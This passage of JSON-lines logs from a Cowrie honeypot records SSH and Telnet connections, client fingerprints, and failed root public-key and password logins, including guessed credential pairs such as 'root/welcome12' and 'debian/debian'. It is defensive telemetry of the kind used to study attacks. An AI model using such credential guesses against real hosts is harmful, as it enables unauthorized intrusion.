{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":47552,"dst_ip":"10.17.0.5","dst_port":22,"session":"6517b7c3e2b2","protocol":"ssh","message":"New connection: 43.134.175.218:47552 (10.17.0.5:22) [session: 6517b7c3e2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:29.764638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:29.768928Z","src_ip":"43.134.175.218","session":"6517b7c3e2b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.000232Z","src_ip":"43.134.175.218","session":"6517b7c3e2b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":24116,"dst_ip":"10.17.0.5","dst_port":22,"session":"973ae99b1ae6","protocol":"ssh","message":"New connection: 208.87.243.61:24116 (10.17.0.5:22) [session: 973ae99b1ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.523641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.528640Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.601523Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:37:43:0f:cf:bf:55:9d:07:75:b7:de:43:df:92:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLQ0bc+Xjtyj1+/7929Kvm8TLiGQUvyfC1ss8AayA9+7usSxEnU9QohzCg2KIBuIncDRBUe8ksJXlp/5ZotHFCcmKJ3uDQPVbVkOsDgzA88OdR/lg33ok5DYaX3a6DQoIYfzAbybnhixaWfhN6Z9vKKbclSlJhtzyY12BtI+S5+jwmwXYHlU3HsYieSbYjejChcrJh6fpbZx0MOnHCEvd/x2EaUpqvfMpjDdOGwQDvshi8JlQFm8jEpOeBVFqfveGBY5ZnFHMwbvqKYRlmEmZRue5zFVCbr5hpACqL8amYvF+BsJREEaMJdsuR5fU/h9Zh/Stg+zYgj5U/uF7tiOjrqz1C3Agfbq1umnf6V1LWRjIhIZOaRi0oA2Kb0KhhwG88/DCJGv1MgNTFDk1MCt1vg/zEfqdfrUiOuTvF5d+IFerkckZSUEV/aHSCmONe9jw3oz7KqOyjtk6UjGfEnmC37tq0Mk+F8PGGaTQObVn8DBaKiJtfAVtFcuGBFlw2oq1oy0dXW6eL43k+CQKqPkQ/9b8L44XqyJ+Yub9ChF3vj3gMzVGfPy6Zg9PwQrfzoV/lz1+p4XQwNl5HghrLZVsJbI1YlJNWkklD758c0dhTcqGMvg20ElE/7AwJorcToKGmgIzoYrUe0rDFmNoGEs44yfaTtJ87nJdLyWsurPn8pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:37:43:0f:cf:bf:55:9d:07:75:b7:de:43:df:92:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.924625Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:37:43:0f:cf:bf:55:9d:07:75:b7:de:43:df:92:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLQ0bc+Xjtyj1+/7929Kvm8TLiGQUvyfC1ss8AayA9+7usSxEnU9QohzCg2KIBuIncDRBUe8ksJXlp/5ZotHFCcmKJ3uDQPVbVkOsDgzA88OdR/lg33ok5DYaX3a6DQoIYfzAbybnhixaWfhN6Z9vKKbclSlJhtzyY12BtI+S5+jwmwXYHlU3HsYieSbYjejChcrJh6fpbZx0MOnHCEvd/x2EaUpqvfMpjDdOGwQDvshi8JlQFm8jEpOeBVFqfveGBY5ZnFHMwbvqKYRlmEmZRue5zFVCbr5hpACqL8amYvF+BsJREEaMJdsuR5fU/h9Zh/Stg+zYgj5U/uF7tiOjrqz1C3Agfbq1umnf6V1LWRjIhIZOaRi0oA2Kb0KhhwG88/DCJGv1MgNTFDk1MCt1vg/zEfqdfrUiOuTvF5d+IFerkckZSUEV/aHSCmONe9jw3oz7KqOyjtk6UjGfEnmC37tq0Mk+F8PGGaTQObVn8DBaKiJtfAVtFcuGBFlw2oq1oy0dXW6eL43k+CQKqPkQ/9b8L44XqyJ+Yub9ChF3vj3gMzVGfPy6Zg9PwQrfzoV/lz1+p4XQwNl5HghrLZVsJbI1YlJNWkklD758c0dhTcqGMvg20ElE/7AwJorcToKGmgIzoYrUe0rDFmNoGEs44yfaTtJ87nJdLyWsurPn8pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.928730Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome12","message":"login attempt [root/welcome12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.954075Z","src_ip":"43.134.175.218","session":"6517b7c3e2b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:fa:9c:12:66:67:e8:14:c3:2d:21:60:60:1b:f7:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrjxrKCIk98lA0egni/HliqyEGHctAfgVipcWw4pt3ooJMCuTjWTg5gUL7PZtBsx12wbdoellsamD0BdvjzGIA3XOiEfqzM3Vq1yq+lBVhUlsF23Q9HF4HOVMXgtvn1rDc3JluxmYDHpghb1AfOQfd6zzwJxuj3iHnJ/UCpi2wUIlKUk9m06hpuMP00LfxuXwdTMV0+a/P7+wdtNPXXa85UaP3rFKKr5/MgOM3foAn2XN3kOd69pnvW116/yEbyQnisiBznPuROdUF3711sinGBgdVd3tkfBp+6iB8igpw6bnzRPIenWd1AkuEI3UQB/yR3aFjgy5eJpa0w8jAM2q/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:fa:9c:12:66:67:e8:14:c3:2d:21:60:60:1b:f7:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:30.999008Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:fa:9c:12:66:67:e8:14:c3:2d:21:60:60:1b:f7:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrjxrKCIk98lA0egni/HliqyEGHctAfgVipcWw4pt3ooJMCuTjWTg5gUL7PZtBsx12wbdoellsamD0BdvjzGIA3XOiEfqzM3Vq1yq+lBVhUlsF23Q9HF4HOVMXgtvn1rDc3JluxmYDHpghb1AfOQfd6zzwJxuj3iHnJ/UCpi2wUIlKUk9m06hpuMP00LfxuXwdTMV0+a/P7+wdtNPXXa85UaP3rFKKr5/MgOM3foAn2XN3kOd69pnvW116/yEbyQnisiBznPuROdUF3711sinGBgdVd3tkfBp+6iB8igpw6bnzRPIenWd1AkuEI3UQB/yR3aFjgy5eJpa0w8jAM2q/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.003617Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:6a:d3:1e:c6:c3:f0:47:b6:28:eb:25:3d:6c:ea:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHvovrIJrdK7wbVvw8FcHyeK67kakH6hUvRfAJ86o546r36w6Pjpl891mUQ8pgbpul7b9uEAKNu/2xbCgeTytrdzsokbmNU1g+MrX3cipUnd61kTHO9IlisNq390LnrartuzyYuciPbN2Af3HgkFOCKGM91kNFWWl4YhClG2eEUDhcqRprZvmqyxOIr8udJTZI3T/kSrCvrKm3WnwYQRMQ+dI+TfnA/XiIwy2nw/OeSf2LRxs7nv46tHJBvfYEfL1UsrPtT4WR35O+PpPdHABCayYVn07AiJqZhLuT+ANycM4MvSNSk/WUTbRkV/C0UOXbech5zaFwheSdE4B0N7qbWa9AugpVNbr8Y8C6lfrXt3kI0ON+BNsWQCLVxrCbUyEUSJtH2O4QZWA1JxmNjJlpvpWLjxNZcf6CORWHmfxdTU16Ynm1FiB0cqK3eB0TmFrNFAW9hwyZx9SsHXxEj/5SwazKLVf2RvHUWx+tkdec8GUOP533F9uHWqij1cfIf6sTqDB0vLfxGF1gKV2zeDefby7SOspo8BK0wJHjuATNhl5FzDZQRGs40qSdKPvR39FgNTT6XmophqMyz3UV0zvNvNYYHIqSVx3kRKWedgwFgF45R8k5soV5lObpM37WB5FTu6Gft11a16o+9mILywERccZUy79UpZt+nMevC9WNmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:6a:d3:1e:c6:c3:f0:47:b6:28:eb:25:3d:6c:ea:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.076472Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:6a:d3:1e:c6:c3:f0:47:b6:28:eb:25:3d:6c:ea:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHvovrIJrdK7wbVvw8FcHyeK67kakH6hUvRfAJ86o546r36w6Pjpl891mUQ8pgbpul7b9uEAKNu/2xbCgeTytrdzsokbmNU1g+MrX3cipUnd61kTHO9IlisNq390LnrartuzyYuciPbN2Af3HgkFOCKGM91kNFWWl4YhClG2eEUDhcqRprZvmqyxOIr8udJTZI3T/kSrCvrKm3WnwYQRMQ+dI+TfnA/XiIwy2nw/OeSf2LRxs7nv46tHJBvfYEfL1UsrPtT4WR35O+PpPdHABCayYVn07AiJqZhLuT+ANycM4MvSNSk/WUTbRkV/C0UOXbech5zaFwheSdE4B0N7qbWa9AugpVNbr8Y8C6lfrXt3kI0ON+BNsWQCLVxrCbUyEUSJtH2O4QZWA1JxmNjJlpvpWLjxNZcf6CORWHmfxdTU16Ynm1FiB0cqK3eB0TmFrNFAW9hwyZx9SsHXxEj/5SwazKLVf2RvHUWx+tkdec8GUOP533F9uHWqij1cfIf6sTqDB0vLfxGF1gKV2zeDefby7SOspo8BK0wJHjuATNhl5FzDZQRGs40qSdKPvR39FgNTT6XmophqMyz3UV0zvNvNYYHIqSVx3kRKWedgwFgF45R8k5soV5lObpM37WB5FTu6Gft11a16o+9mILywERccZUy79UpZt+nMevC9WNmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.080383Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:45:d9:e5:78:03:c5:48:df:da:7c:26:12:c3:c1:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXktwQMCGwS6a4SDWyVnPgQJwrA1BWrrjoypJt/xcyCCkhrQvX77j7iPZH/lYUGlOhaZG3hTHhYgfxY272CIuJPeKSkFp7L4XJaBMVl9ZJsF+UtJ5I9F9dodcP+sqwBa5ZjyAR3gfjNjHWXOsT7xbVXTQL3gucmbMPpQKImUGznwYovAi6+BfUO9gsu8GOFbeM8qdDLvd2JNz8z+ZC6AZD9PEjkq0RoPW9yqbZAiZ5jaov3+iWH2I0L4QaCsYKIHNa6fzoCdLF08UiY1mBu/0bfloXZdnNKPJVVmvdY5s5WeflGL4Vdx0GvgWcDCrZbeTbu9RZLQLQ7osgLzXNFZpJtkZRlFIfwh3tyb4UDORzjCmWBJgDxhZDi3Y6A4av6ERjo3/H9aTllvKlQc5Y773vbLRi4wRmIfdP7U03IevHTC09qyXSQftdj2Kmkc9lEi9lM3l0AFZl3fqUF9qxe1EmS/dK3/Ki5gVOjDdvmarZ04LQ931WF+X1J/f0wtQ1iccBLhEr+BmSF8qN4ltVHfU44Ql2tiDY0LQarYiikrXpU90GhrN3ohO//2GysiQ3o0XLgSyNMaPQS7P13baW+SV3QRK3t5nRn8jjm0eMFXkgA0olkaCG54vj1Nu2y/SHdNO1dM3cwgVuPp373ruHB6DYJF28kM5MZZNco3kdPSOECw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:45:d9:e5:78:03:c5:48:df:da:7c:26:12:c3:c1:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.149692Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:45:d9:e5:78:03:c5:48:df:da:7c:26:12:c3:c1:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXktwQMCGwS6a4SDWyVnPgQJwrA1BWrrjoypJt/xcyCCkhrQvX77j7iPZH/lYUGlOhaZG3hTHhYgfxY272CIuJPeKSkFp7L4XJaBMVl9ZJsF+UtJ5I9F9dodcP+sqwBa5ZjyAR3gfjNjHWXOsT7xbVXTQL3gucmbMPpQKImUGznwYovAi6+BfUO9gsu8GOFbeM8qdDLvd2JNz8z+ZC6AZD9PEjkq0RoPW9yqbZAiZ5jaov3+iWH2I0L4QaCsYKIHNa6fzoCdLF08UiY1mBu/0bfloXZdnNKPJVVmvdY5s5WeflGL4Vdx0GvgWcDCrZbeTbu9RZLQLQ7osgLzXNFZpJtkZRlFIfwh3tyb4UDORzjCmWBJgDxhZDi3Y6A4av6ERjo3/H9aTllvKlQc5Y773vbLRi4wRmIfdP7U03IevHTC09qyXSQftdj2Kmkc9lEi9lM3l0AFZl3fqUF9qxe1EmS/dK3/Ki5gVOjDdvmarZ04LQ931WF+X1J/f0wtQ1iccBLhEr+BmSF8qN4ltVHfU44Ql2tiDY0LQarYiikrXpU90GhrN3ohO//2GysiQ3o0XLgSyNMaPQS7P13baW+SV3QRK3t5nRn8jjm0eMFXkgA0olkaCG54vj1Nu2y/SHdNO1dM3cwgVuPp373ruHB6DYJF28kM5MZZNco3kdPSOECw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.153745Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:3d:c6:82:f3:a4:53:ef:50:e1:6e:0c:74:b8:61:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf8cp6oO+QIz88yWUQEErxzqEjy5Oy6NwxiXmfSV5aIamMzwRbQztKUp3mflqCS1n06zXWItKHQAFM//o3T6e4w3/d8rr3tV+mL4Aj+EPgRCxonO1OejCoIljnSiMLIHIuLfBVhXG10bhfwsvR2pQoGGkC4UNpGtVeXV0FpbxaLBy24Sx9ef00sm5X+g8It7BN/QUx2BTw99pPpvEKJfzY11LNM3rSr/t/UQf/MYpxQoaH+pxlTOqGcGFI9BO6inoOPH6/6vDRCYuQQVwEiYKMmKzhbHsMw/c0AUObyFVzqibz4XvlRAkJEXbTJfdvL4cUqCzVbPVVJyzkujqLPLZ5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:3d:c6:82:f3:a4:53:ef:50:e1:6e:0c:74:b8:61:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.222949Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:3d:c6:82:f3:a4:53:ef:50:e1:6e:0c:74:b8:61:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf8cp6oO+QIz88yWUQEErxzqEjy5Oy6NwxiXmfSV5aIamMzwRbQztKUp3mflqCS1n06zXWItKHQAFM//o3T6e4w3/d8rr3tV+mL4Aj+EPgRCxonO1OejCoIljnSiMLIHIuLfBVhXG10bhfwsvR2pQoGGkC4UNpGtVeXV0FpbxaLBy24Sx9ef00sm5X+g8It7BN/QUx2BTw99pPpvEKJfzY11LNM3rSr/t/UQf/MYpxQoaH+pxlTOqGcGFI9BO6inoOPH6/6vDRCYuQQVwEiYKMmKzhbHsMw/c0AUObyFVzqibz4XvlRAkJEXbTJfdvL4cUqCzVbPVVJyzkujqLPLZ5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.226073Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.294548Z","src_ip":"208.87.243.61","session":"973ae99b1ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44536,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da5d3e2699b","protocol":"ssh","message":"New connection: 45.153.34.112:44536 (10.17.0.5:22) [session: 4da5d3e2699b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.351386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.356708Z","src_ip":"45.153.34.112","session":"4da5d3e2699b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.439066Z","src_ip":"45.153.34.112","session":"4da5d3e2699b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:31.688311Z","src_ip":"45.153.34.112","session":"4da5d3e2699b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:32.188521Z","src_ip":"43.134.175.218","session":"6517b7c3e2b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36082,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a022de8dd57","protocol":"telnet","message":"New connection: 192.119.13.58:36082 (10.17.0.5:23) [session: 8a022de8dd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:32.535831Z"}
{"eventid":"cowrie.session.closed","duration":39.37280511856079,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:32.684262Z","src_ip":"192.119.13.58","session":"affa8d49df7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:32.809044Z","src_ip":"45.153.34.112","session":"4da5d3e2699b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44548,"dst_ip":"10.17.0.5","dst_port":22,"session":"1913d25e7dfe","protocol":"ssh","message":"New connection: 45.153.34.112:44548 (10.17.0.5:22) [session: 1913d25e7dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:35.108920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:35.125588Z","src_ip":"45.153.34.112","session":"1913d25e7dfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client 